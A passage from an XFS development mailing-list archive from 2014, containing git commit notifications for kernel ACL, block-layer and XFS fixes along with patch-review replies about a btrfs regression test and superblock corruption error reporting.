Cc: Yehuda Sadeh Cc: Sage Weil Cc: Alex Elder Cc: ceph-devel@vger.kernel.org Cc: Joshua Morris Cc: Philip Kelleher Cc: Rusty Russell Cc: "Michael S. Tsirkin" Cc: Konrad Rzeszutek Wilk Cc: Jeremy Fitzhardinge Cc: Neil Brown Cc: Alasdair Kergon Cc: Mike Snitzer Cc: dm-devel@redhat.com Cc: Martin Schwidefsky Cc: Heiko Carstens Cc: linux390@de.ibm.com Cc: Boaz Harrosh Cc: Benny Halevy Cc: "James E.J. Bottomley" Cc: Greg Kroah-Hartman Cc: "Nicholas A. Bellinger" Cc: Alexander Viro Cc: Chris Mason Cc: "Theodore Ts'o" Cc: Andreas Dilger Cc: Jaegeuk Kim Cc: Steven Whitehouse Cc: Dave Kleikamp Cc: Joern Engel Cc: Prasad Joshi Cc: Trond Myklebust Cc: KONISHI Ryusuke Cc: Mark Fasheh Cc: Joel Becker Cc: Ben Myers Cc: xfs@oss.sgi.com Cc: Steven Rostedt Cc: Frederic Weisbecker Cc: Ingo Molnar Cc: Len Brown Cc: Pavel Machek Cc: "Rafael J. Wysocki" Cc: Herton Ronaldo Krzesinski Cc: Ben Hutchings Cc: Andrew Morton Cc: Guo Chao Cc: Tejun Heo Cc: Asai Thambi S P Cc: Selvan Mani Cc: Sam Bradshaw Cc: Wei Yongjun Cc: "Roger Pau Monné" Cc: Jan Beulich Cc: Stefano Stabellini Cc: Ian Campbell Cc: Sebastian Ott Cc: Christian Borntraeger Cc: Minchan Kim Cc: Jiang Liu Cc: Nitin Gupta Cc: Jerome Marchand Cc: Joe Perches Cc: Peng Tao Cc: Andy Adamson Cc: fanchaoting Cc: Jie Liu Cc: Sunil Mushran Cc: "Martin K. Petersen" Cc: Namjae Jeon Cc: Pankaj Kumar Cc: Dan Magenheimer Cc: Mel Gorman 6 ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_acl.c | 151 +++-------------------------------------------------- fs/xfs/xfs_acl.h | 9 +--- fs/xfs/xfs_aops.c | 2 +- fs/xfs/xfs_buf.c | 4 +- fs/xfs/xfs_iops.c | 55 +++++++++---------- fs/xfs/xfs_iops.h | 2 +- fs/xfs/xfs_xattr.c | 4 +- 7 files changed, 40 insertions(+), 187 deletions(-) hooks/post-receive -- XFS development tree From dgc@oss.sgi.com Thu Feb 6 18:14:45 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 10266) id E55117F53; Thu, 6 Feb 2014 18:14:45 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, master, updated. xfs-for-linus-v3.14-rc1-2-12920-g38dbfb5 X-Git-Refname: refs/heads/master X-Git-Reftype: branch X-Git-Oldrev: f9b395a8ef8f34d19cae2cde361e19c96e097fad X-Git-Newrev: 38dbfb59d1175ef458d006556061adeaa8751b72 Message-Id: <20140207001445.E55117F53@oss.sgi.com> Date: Thu, 6 Feb 2014 18:14:43 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, master has been updated f568849 Merge branch 'for-3.14/core' of git://git.kernel.dk/linux-block f149938 Merge tag 'xfs-for-linus-v3.14-rc1-2' of git://oss.sgi.com/xfs/xfs bf3d846 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs 2401dc2 xfs: use generic posix ACL infrastructure 37bc153 fs: make posix_acl_create more useful 5bf3258 fs: make posix_acl_chmod more useful 96c8c44 xfs: switch to kfree_put_link() 7c71ee7 xfs: allow logical-sector sized O_DIRECT 6da5417 xfs: rename xfs_buftarg structure members f0bc998 xfs: clean up xfs_buftarg 1f4a63b xfs: Calling destroy_work_on_stack() to pair with INIT_WORK_ONSTACK() bba719b xfs: fix off-by-one error in xfs_attr3_rmt_verify bf3964c Merge branch 'xfs-extent-list-locking-fixes' into for-next dc16b18 Merge branch 'xfs-misc' into for-next 6f96b30 xfs: Calling destroy_work_on_stack() to pair with INIT_WORK_ONSTACK() 85dd070 xfs: fix off-by-one error in xfs_attr3_rmt_verify b28bc9b Merge tag 'v3.13-rc6' into for-3.14/core eef334e xfs: assert that we hold the ilock for extent map access 568d994 xfs: use xfs_ilock_attr_map_shared in xfs_attr_list_int 683cb94 xfs: use xfs_ilock_attr_map_shared in xfs_attr_get da51d32 xfs: use xfs_ilock_data_map_shared in xfs_qm_dqiterate f4df8ad xfs: use xfs_ilock_data_map_shared in xfs_qm_dqtobp 4f31736 xfs: take the ilock around xfs_bmapi_read in xfs_zero_remaining_bytes 40194ec xfs: reinstate the ilock in xfs_readdir efa70be xfs: add xfs_ilock_attr_map_shared 309ecac xfs: rename xfs_ilock_map_shared 01f4f32 xfs: remove xfs_iunlock_map_shared 30ba7ad xfs: no need to lock the inode in xfs_find_handle 324bb26 Merge branch 'xfs-for-linus-v3.13-rc5' into for-next ac8809f xfs: abort metadata writeback on permanent errors 33177f0 xfs: swalloc doesn't align allocations properly 83a0adc xfs: remove xfsbdstrat error 6e708bc xfs: align initial file allocations correctly 718cc6f xfs: fix infinite loop by detaching the group/project hints from user dquot 5c22727 xfs: fix assertion failure at xfs_setattr_nonsize 30d161c xfs: fix false assertion at xfs_qm_vop_create_dqattach 3a8c920 xfs: fix memory leak in xfs_dir2_node_removename 46f23ad Merge branch 'xfs-factor-icluster-macros' into for-next f9e5abc xfs: use xfs_icluster_size_fsb in xfs_imap 982e939 xfs: use xfs_icluster_size_fsb in xfs_ifree_cluster 6e0c7b8 xfs: use xfs_icluster_size_fsb in xfs_ialloc_inode_init a2ba07b xfs: use xfs_icluster_size_fsb in xfs_bulkstat 904957b xfs: introduce a common helper xfs_icluster_size_fsb 126cd10 xfs: get rid of XFS_IALLOC_BLOCKS macros 0f49efd xfs: get rid of XFS_INODE_CLUSTER_SIZE macros 7178343 xfs: get rid of XFS_IALLOC_INODES macros ffda4e8 xfs: remove the quotaoff log format from the quotaoff log item ce8e962 xfs: remove the dquot log format from the dquot log item 2f25129 xfs: remove the inode log format from the inode log item da77650 xfs: format logged extents directly into the CIL bde7cff xfs: format log items write directly into the linear CIL buffer 1234351 xfs: introduce xlog_copy_iovec 3de559fb xfs: refactor xfs_inode_item_format ce9641d xfs: refactor xfs_inode_item_size 7aeb722 xfs: refactor xfs_buf_item_format_segment 9597df6 xfs: remove duplicate code in xlog_cil_insert_format_items f94c445 xfs: growfs overruns AGFL buffer on V4 filesystems 2f42d61 xfs: don't perform discard if the given range length is less than block size 31978b5 xfs: underflow bug in xfs_attrlist_by_handle() 4f024f3 block: Abstract out bvec iterator from f9b395a8ef8f34d19cae2cde361e19c96e097fad (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit f568849edac8611d603e00bd6cbbcfea09395ae6 Merge: d9894c2 675675a Author: Linus Torvalds Date: Thu Jan 30 11:19:05 2014 -0800 Merge branch 'for-3.14/core' of git://git.kernel.dk/linux-block Pull core block IO changes from Jens Axboe: "The major piece in here is the immutable bio_ve series from Kent, the rest is fairly minor. It was supposed to go in last round, but various issues pushed it to this release instead. The pull request contains: - Various smaller blk-mq fixes from different folks. Nothing major here, just minor fixes and cleanups. - Fix for a memory leak in the error path in the block ioctl code from Christian Engelmayer. - Header export fix from CaiZhiyong. - Finally the immutable biovec changes from Kent Overstreet. This enables some nice future work on making arbitrarily sized bios possible, and splitting more efficient. Related fixes to immutable bio_vecs: - dm-cache immutable fixup from Mike Snitzer. - btrfs immutable fixup from Muthu Kumar. - bio-integrity fix from Nic Bellinger, which is also going to stable" * 'for-3.14/core' of git://git.kernel.dk/linux-block: (44 commits) xtensa: fixup simdisk driver to work with immutable bio_vecs block/blk-mq-cpu.c: use hotcpu_notifier() blk-mq: for_each_* macro correctness block: Fix memory leak in rw_copy_check_uvector() handling bio-integrity: Fix bio_integrity_verify segment start bug block: remove unrelated header files and export symbol blk-mq: uses page->list incorrectly blk-mq: use __smp_call_function_single directly btrfs: fix missing increment of bi_remaining Revert "block: Warn and free bio if bi_end_io is not set" block: Warn and free bio if bi_end_io is not set blk-mq: fix initializing request's start time block: blk-mq: don't export blk_mq_free_queue() block: blk-mq: make blk_sync_queue support mq block: blk-mq: support draining mq queue dm cache: increment bi_remaining when bi_end_io is restored block: fixup for generic bio chaining block: Really silence spurious compiler warnings block: Silence spurious compiler warnings block: Kill bio_pair_split() ... commit f1499382f114231cbd1e3dee7e656b50ce9d8236 Merge: 4db658e 7c71ee7 Author: Linus Torvalds Date: Tue Jan 28 18:21:22 2014 -0800 Merge tag 'xfs-for-linus-v3.14-rc1-2' of git://oss.sgi.com/xfs/xfs Pull second xfs update from Ben Myers: "Allow logical sector sized direct io on 'advanced format' 4k/512 disk" * tag 'xfs-for-linus-v3.14-rc1-2' of git://oss.sgi.com/xfs/xfs: xfs: allow logical-sector sized O_DIRECT xfs: rename xfs_buftarg structure members xfs: clean up xfs_buftarg commit bf3d846b783327359ddc4bd4f52627b36abb4d1d Merge: 54c0a4b f650080 Author: Linus Torvalds Date: Tue Jan 28 08:38:04 2014 -0800 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs Pull vfs updates from Al Viro: "Assorted stuff; the biggest pile here is Christoph's ACL series. Plus assorted cleanups and fixes all over the place... There will be another pile later this week" * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs: (43 commits) __dentry_path() fixes vfs: Remove second variable named error in __dentry_path vfs: Is mounted should be testing mnt_ns for NULL or error. Fix race when checking i_size on direct i/o read hfsplus: remove can_set_xattr nfsd: use get_acl and ->set_acl fs: remove generic_acl nfs: use generic posix ACL infrastructure for v3 Posix ACLs gfs2: use generic posix ACL infrastructure jfs: use generic posix ACL infrastructure xfs: use generic posix ACL infrastructure reiserfs: use generic posix ACL infrastructure ocfs2: use generic posix ACL infrastructure jffs2: use generic posix ACL infrastructure hfsplus: use generic posix ACL infrastructure f2fs: use generic posix ACL infrastructure ext2/3/4: use generic posix ACL infrastructure btrfs: use generic posix ACL infrastructure fs: make posix_acl_create more useful fs: make posix_acl_chmod more useful ... commit 2401dc2975fc5a33021dc8347ea82984c4707a08 Author: Christoph Hellwig Date: Fri Dec 20 05:16:50 2013 -0800 xfs: use generic posix ACL infrastructure Also don't bother to set up a .get_acl method for symlinks as we do not support access control (ACLs or even mode bits) for symlinks in Linux, and create inodes with the proper mode instead of fixing it up later. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Al Viro commit 37bc15392a2363ca822b2c2828e0ccafbea32f75 Author: Christoph Hellwig Date: Fri Dec 20 05:16:42 2013 -0800 fs: make posix_acl_create more useful Rename the current posix_acl_created to __posix_acl_create and add a fully featured helper to set up the ACLs on file creation that uses get_acl(). Signed-off-by: Christoph Hellwig Reviewed-by: Jan Kara Signed-off-by: Al Viro commit 5bf3258fd2acd8515450ab8efcd97c9d3b69f7f9 Author: Christoph Hellwig Date: Fri Dec 20 05:16:41 2013 -0800 fs: make posix_acl_chmod more useful Rename the current posix_acl_chmod to __posix_acl_chmod and add a fully featured ACL chmod helper that uses the ->set_acl inode operation. Signed-off-by: Christoph Hellwig Reviewed-by: Jan Kara Signed-off-by: Al Viro commit 96c8c442117859cd95b5b57836ff374ff43f0564 Author: Al Viro Date: Fri Nov 29 22:54:55 2013 -0500 xfs: switch to kfree_put_link() don't bother open-coding it... Signed-off-by: Al Viro commit 1f4a63bf019524c96e79f088cd717b96ef00a249 Author: Chuansheng Liu Date: Tue Jan 7 16:53:34 2014 +0800 xfs: Calling destroy_work_on_stack() to pair with INIT_WORK_ONSTACK() In case CONFIG_DEBUG_OBJECTS_WORK is defined, it is needed to call destroy_work_on_stack() which frees the debug object to pair with INIT_WORK_ONSTACK(). Signed-off-by: Liu, Chuansheng Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit 6f96b3063cdd473c68664a190524ed966ac0cd92) commit bba719b5004234e55737e7074b81b337210c511d Author: Jie Liu Date: Wed Jan 1 19:28:03 2014 +0800 xfs: fix off-by-one error in xfs_attr3_rmt_verify With CRC check is enabled, if trying to set an attributes value just equal to the maximum size of XATTR_SIZE_MAX would cause the v3 remote attr write verification procedure failure, which would yield the back trace like below: XFS (sda7): Internal error xfs_attr3_rmt_write_verify at line 191 of file fs/xfs/xfs_attr_remote.c Call Trace: [] dump_stack+0x45/0x56 [] xfs_error_report+0x3b/0x40 [xfs] [] ? _xfs_buf_ioapply+0x6d/0x390 [xfs] [] xfs_corruption_error+0x55/0x80 [xfs] [] xfs_attr3_rmt_write_verify+0x14b/0x1a0 [xfs] [] ? _xfs_buf_ioapply+0x6d/0x390 [xfs] [] ? xfs_bdstrat_cb+0x55/0xb0 [xfs] [] _xfs_buf_ioapply+0x6d/0x390 [xfs] [] ? vm_map_ram+0x31a/0x460 [] ? wake_up_state+0x20/0x20 [] ? xfs_bdstrat_cb+0x55/0xb0 [xfs] [] xfs_buf_iorequest+0x6b/0xc0 [xfs] [] xfs_bdstrat_cb+0x55/0xb0 [xfs] [] xfs_bwrite+0x46/0x80 [xfs] [] xfs_attr_rmtval_set+0x334/0x490 [xfs] [] xfs_attr_leaf_addname+0x24a/0x410 [xfs] [] xfs_attr_set_int+0x223/0x470 [xfs] [] xfs_attr_set+0x96/0xb0 [xfs] [] xfs_xattr_set+0x42/0x70 [xfs] [] generic_setxattr+0x62/0x80 [] __vfs_setxattr_noperm+0x63/0x1b0 [] ? evm_inode_setxattr+0xe/0x10 [] vfs_setxattr+0xb5/0xc0 [] setxattr+0x12e/0x1c0 [] ? final_putname+0x22/0x50 [] ? putname+0x2b/0x40 [] ? user_path_at_empty+0x5f/0x90 [] ? __sb_start_write+0x49/0xe0 [] ? vm_mmap_pgoff+0x99/0xc0 [] SyS_setxattr+0x8f/0xe0 [] system_call_fastpath+0x1a/0x1f Tests: setfattr -n user.longxattr -v `perl -e 'print "A"x65536'` testfile This patch fix it to check the remote EA size is greater than the XATTR_SIZE_MAX rather than more than or equal to it, because it's valid if the specified EA value size is equal to the limitation as per VFS setxattr interface. Signed-off-by: Jie Liu Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers (cherry picked from commit 85dd0707f0cad26d60f2dc574d17a5ab948d10f7) commit b28bc9b38c52f63f43e3fd875af982f2240a2859 Merge: 8d30726 802eee9 Author: Jens Axboe Date: Tue Dec 31 09:51:02 2013 -0700 Merge tag 'v3.13-rc6' into for-3.14/core Needed to bring blk-mq uptodate, since changes have been going in since for-3.14/core was established. Fixup merge issues related to the immutable biovec changes. Signed-off-by: Jens Axboe Conflicts: block/blk-flush.c fs/btrfs/check-integrity.c fs/btrfs/extent_io.c fs/btrfs/scrub.c fs/logfs/dev_bdev.c commit 4f024f3797c43cb4b73cd2c50cec728842d0e49e Author: Kent Overstreet Date: Fri Oct 11 15:44:27 2013 -0700 block: Abstract out bvec iterator Immutable biovecs are going to require an explicit iterator. To implement immutable bvecs, a later patch is going to add a bi_bvec_done member to this struct; for now, this patch effectively just renames things. Signed-off-by: Kent Overstreet Cc: Jens Axboe Cc: Geert Uytterhoeven Cc: Benjamin Herrenschmidt Cc: Paul Mackerras Cc: "Ed L. Cashin" Cc: Nick Piggin Cc: Lars Ellenberg Cc: Jiri Kosina Cc: Matthew Wilcox Cc: Geoff Levand Cc: Yehuda Sadeh Cc: Sage Weil Cc: Alex Elder Cc: ceph-devel@vger.kernel.org Cc: Joshua Morris Cc: Philip Kelleher Cc: Rusty Russell Cc: "Michael S. Tsirkin" Cc: Konrad Rzeszutek Wilk Cc: Jeremy Fitzhardinge Cc: Neil Brown Cc: Alasdair Kergon Cc: Mike Snitzer Cc: dm-devel@redhat.com Cc: Martin Schwidefsky Cc: Heiko Carstens Cc: linux390@de.ibm.com Cc: Boaz Harrosh Cc: Benny Halevy Cc: "James E.J. Bottomley" Cc: Greg Kroah-Hartman Cc: "Nicholas A. Bellinger" Cc: Alexander Viro Cc: Chris Mason Cc: "Theodore Ts'o" Cc: Andreas Dilger Cc: Jaegeuk Kim Cc: Steven Whitehouse Cc: Dave Kleikamp Cc: Joern Engel Cc: Prasad Joshi Cc: Trond Myklebust Cc: KONISHI Ryusuke Cc: Mark Fasheh Cc: Joel Becker Cc: Ben Myers Cc: xfs@oss.sgi.com Cc: Steven Rostedt Cc: Frederic Weisbecker Cc: Ingo Molnar Cc: Len Brown Cc: Pavel Machek Cc: "Rafael J. Wysocki" Cc: Herton Ronaldo Krzesinski Cc: Ben Hutchings Cc: Andrew Morton Cc: Guo Chao Cc: Tejun Heo Cc: Asai Thambi S P Cc: Selvan Mani Cc: Sam Bradshaw Cc: Wei Yongjun Cc: "Roger Pau Monné" Cc: Jan Beulich Cc: Stefano Stabellini Cc: Ian Campbell Cc: Sebastian Ott Cc: Christian Borntraeger Cc: Minchan Kim Cc: Jiang Liu Cc: Nitin Gupta Cc: Jerome Marchand Cc: Joe Perches Cc: Peng Tao Cc: Andy Adamson Cc: fanchaoting Cc: Jie Liu Cc: Sunil Mushran Cc: "Martin K. Petersen" Cc: Namjae Jeon Cc: Pankaj Kumar Cc: Dan Magenheimer Cc: Mel Gorman 6 ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_acl.c | 151 +---------------- fs/xfs/xfs_acl.h | 9 +- fs/xfs/xfs_aops.c | 4 +- fs/xfs/xfs_attr.c | 5 +- fs/xfs/xfs_attr_list.c | 8 +- fs/xfs/xfs_attr_remote.c | 2 +- fs/xfs/xfs_bmap.c | 27 +++- fs/xfs/xfs_bmap_util.c | 50 ++++-- fs/xfs/xfs_buf.c | 55 +++---- fs/xfs/xfs_buf.h | 31 +++- fs/xfs/xfs_buf_item.c | 124 +++++++------- fs/xfs/xfs_dir2_readdir.c | 4 + fs/xfs/xfs_dquot.c | 7 +- fs/xfs/xfs_dquot_item.c | 67 +++----- fs/xfs/xfs_dquot_item.h | 3 +- fs/xfs/xfs_extfree_item.c | 21 +-- fs/xfs/xfs_file.c | 17 +- fs/xfs/xfs_ialloc.c | 53 +++--- fs/xfs/xfs_ialloc.h | 21 +-- fs/xfs/xfs_icreate_item.c | 10 +- fs/xfs/xfs_inode.c | 85 +++++----- fs/xfs/xfs_inode.h | 4 +- fs/xfs/xfs_inode_fork.c | 17 +- fs/xfs/xfs_inode_item.c | 400 +++++++++++++++++++--------------------------- fs/xfs/xfs_inode_item.h | 5 - fs/xfs/xfs_ioctl.c | 6 +- fs/xfs/xfs_iops.c | 55 +++---- fs/xfs/xfs_iops.h | 2 +- fs/xfs/xfs_itable.c | 22 ++- fs/xfs/xfs_log.h | 46 ++++++ fs/xfs/xfs_log_cil.c | 74 +++------ fs/xfs/xfs_log_recover.c | 29 ++-- fs/xfs/xfs_qm.c | 6 +- fs/xfs/xfs_trans.h | 2 +- fs/xfs/xfs_trans_buf.c | 13 +- fs/xfs/xfs_trans_resv.c | 10 +- fs/xfs/xfs_trans_space.h | 2 +- fs/xfs/xfs_xattr.c | 4 +- 38 files changed, 649 insertions(+), 802 deletions(-) hooks/post-receive -- XFS development tree From wangshilong1991@gmail.com Thu Feb 6 22:18:43 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 630A27F51 for ; Thu, 6 Feb 2014 22:18:43 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 37213304071 for ; Thu, 6 Feb 2014 20:18:40 -0800 (PST) X-ASG-Debug-ID: 1391746716-04bdf0121d1a5110001-NocioJ Received: from mail-pa0-f47.google.com (mail-pa0-f47.google.com [209.85.220.47]) by cuda.sgi.com with ESMTP id o38mLx5gL0G4t56S (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 06 Feb 2014 20:18:36 -0800 (PST) X-Barracuda-Envelope-From: wangshilong1991@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.220.47 Received: by mail-pa0-f47.google.com with SMTP id kp14so2629620pab.6 for ; Thu, 06 Feb 2014 20:18:36 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=content-type:mime-version:subject:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to; bh=Vtv5Bi01sUK7vxG1FZHdtvP1OM5zZbOOTBkFoz0AJEM=; b=Urt0TNAcctNfJEbeC3itEzWbg/xCBpBcWmcygQdmGkz3n4CF+EDK0AAuP+QW+bP6d/ T5eVqosTz6+cOk6nPhoD5anG4GdAd4HzWAfg5PxCxvN3rV8CFlzas02kEvMCKnsIaFH2 wzorwdHzCnyOc8X21kA3rTiDrBg//w2ulKCI+8K3fri7NSFo66UagmjOPZuJ8eFbwqal ImVUinPC4OapI693B+PZiLmSk11JOkZzMts7fBX2vr+sjCimQkVQ1VNfZyb2HCcF8tq9 LqC9yRU4NbSieDewPO5aK2twkZMCX7xZVSVkl095h/WPLUauIDH7XzA9l9jyDeI7/LOf Qsqg== X-Barracuda-BBL-IP: nil X-Received: by 10.66.248.227 with SMTP id yp3mr5036312pac.116.1391746716040; Thu, 06 Feb 2014 20:18:36 -0800 (PST) Received: from promote.cache-dns.local ([223.65.188.107]) by mx.google.com with ESMTPSA id vx10sm22535278pac.17.2014.02.06.20.18.33 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Thu, 06 Feb 2014 20:18:34 -0800 (PST) Content-Type: text/plain; charset=us-ascii X-Barracuda-Apparent-Source-IP: 223.65.188.107 Mime-Version: 1.0 (Mac OS X Mail 6.2 \(1499\)) Subject: Re: [PATCH v3] Btrfs: add regression test for running snapshot and send concurrently From: Wang Shilong X-ASG-Orig-Subj: Re: [PATCH v3] Btrfs: add regression test for running snapshot and send concurrently In-Reply-To: <20140206224337.GB13647@dastard> Date: Fri, 7 Feb 2014 12:18:31 +0800 Cc: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org, jbacik@fb.com Content-Transfer-Encoding: quoted-printable Message-Id: References: <1391703008-2322-1-git-send-email-wangshilong1991@gmail.com> <20140206224337.GB13647@dastard> To: Dave Chinner X-Mailer: Apple Mail (2.1499) X-Barracuda-Connect: mail-pa0-f47.google.com[209.85.220.47] X-Barracuda-Start-Time: 1391746716 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.23 X-Barracuda-Spam-Status: No, SCORE=0.23 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, RCVD_ILLEGAL_IP X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144907 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.23 RCVD_ILLEGAL_IP Received: contains illegal IP address -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Hi Dave, > On Fri, Feb 07, 2014 at 12:10:08AM +0800, Wang Shilong wrote: >> +$BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ >> + $SCRATCH_MNT/snap_1 >> $seqres.full 2>&1 >> + >> +do_snapshots & >> +snapshots_pid=3D$! >> + >> +$BTRFS_UTIL_PROG send $SCRATCH_MNT/snap_1 > /dev/null 2>&1 || echo = "btrfs send failed" >=20 > Let's stop this anti-pattern before it takes hold. >=20 > If there's output from the send command it should be > filtered and captured in the golden image. Hence any deviation > caused by errors is automatically flagged as an error. >=20 > That's the whole point of using golden images for capturing errors - > you don't need to capture return values from binaries and it > guarantees that users are informed about failures through error > messages. IOWs: >=20 > $BTRFS_UTIL_PROG send $SCRATCH_MNT/snap_1 | _btrfs_send_filter >=20 > is what you should be doing here. I knew what you mean here, in fact, i did this on purpose. for this test failure, btrfs-prog did not output failure information = from the beginning. So to make older progs can also detect the test failure, i dropped into = this way. Anyway, if you don't like this and think old btrfs-progs needn't = consider this, i will update the patch.^_^ Thanks, Wang > Cheers, >=20 > Dave. > --=20 > Dave Chinner > david@fromorbit.com From sandeen@sandeen.net Thu Feb 6 22:23:51 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 690F87F51 for ; Thu, 6 Feb 2014 22:23:51 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 324348F8070 for ; Thu, 6 Feb 2014 20:23:50 -0800 (PST) X-ASG-Debug-ID: 1391747028-04bdf0121d1a5350001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id Z1CUy6Sb3wmLzNM4 for ; Thu, 06 Feb 2014 20:23:49 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 9A9586CE35B9; Thu, 6 Feb 2014 22:23:48 -0600 (CST) Message-ID: <52F45FD4.1080009@sandeen.net> Date: Thu, 06 Feb 2014 22:23:48 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner , Brian Foster CC: Eric Sandeen , xfs-oss Subject: Re: [PATCH] xfs: limit superblock corruption errors to probable corruption References: <52E88D8B.90208@redhat.com> <52EAB56D.2050203@redhat.com> <52EAB66E.204@redhat.com> <52EABBF8.5070309@redhat.com> <20140206064314.GM13997@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: limit superblock corruption errors to probable corruption In-Reply-To: <20140206064314.GM13997@dastard> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1391747029 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144907 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/6/14, 12:43 AM, Dave Chinner wrote: > On Thu, Jan 30, 2014 at 03:54:16PM -0500, Brian Foster wrote: >> On 01/30/2014 03:30 PM, Eric Sandeen wrote: >>> On 1/30/14, 2:26 PM, Brian Foster wrote: >>>>> diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c >>>>>> index 511cce9..b575317 100644 >>>>>> --- a/fs/xfs/xfs_sb.c >>>>>> +++ b/fs/xfs/xfs_sb.c >>>>>> @@ -617,6 +617,8 @@ xfs_sb_read_verify( >>>>>> /* Only fail bad secondaries on a known V5 filesystem */ >>>>>> if (bp->b_bn != XFS_SB_DADDR && >>>>>> xfs_sb_version_hascrc(&mp->m_sb)) { >>>>>> + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, >>>>>> + mp, bp->b_addr); >>>>>> error = EFSCORRUPTED; >>>>>> goto out_error; >>>>>> } >>>>>> @@ -625,12 +627,8 @@ xfs_sb_read_verify( >>>>>> error = xfs_sb_verify(bp, true); >>>>>> >>>>>> out_error: >>>>>> - if (error) { >>>>>> - if (error != EWRONGFS) >>>>>> - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, >>>>>> - mp, bp->b_addr); >>>>>> + if (error) >>>>>> xfs_buf_ioerror(bp, error); >>>>>> - } >>>>>> } >>>> ... but why not leave the corruption output here in out_error, change >>>> the check to (error == EFSCORRUPTED) and remove the now duplicate >>>> corruption message in xfs_mount_validate_sb() (or replace it with a >>>> warn/notice message)? This would catch the other EFSCORRUPTED returns in >>>> a consistent manner, including another potential duplicate in the write >>>> verifier. I guess we'd lose a little specificity between the crc failure >>>> and sb validation, but we could add a warn/notice for the former too. >>>> >>>> Brian >>>> >>> >>> Well, I went back and forth on this. It's probably philosophical. ;) >>> >>> Should we emit the corruption error at the point of corruption detection, >>> or at a higher level? I guess my concern was that while *this* caller >>> might catch the return & yell, if another caller got added it might not. >>> >>> Putting it at the point of detection seemed foolproof in that regard. >>> >> >> Yeah, that makes sense too. If 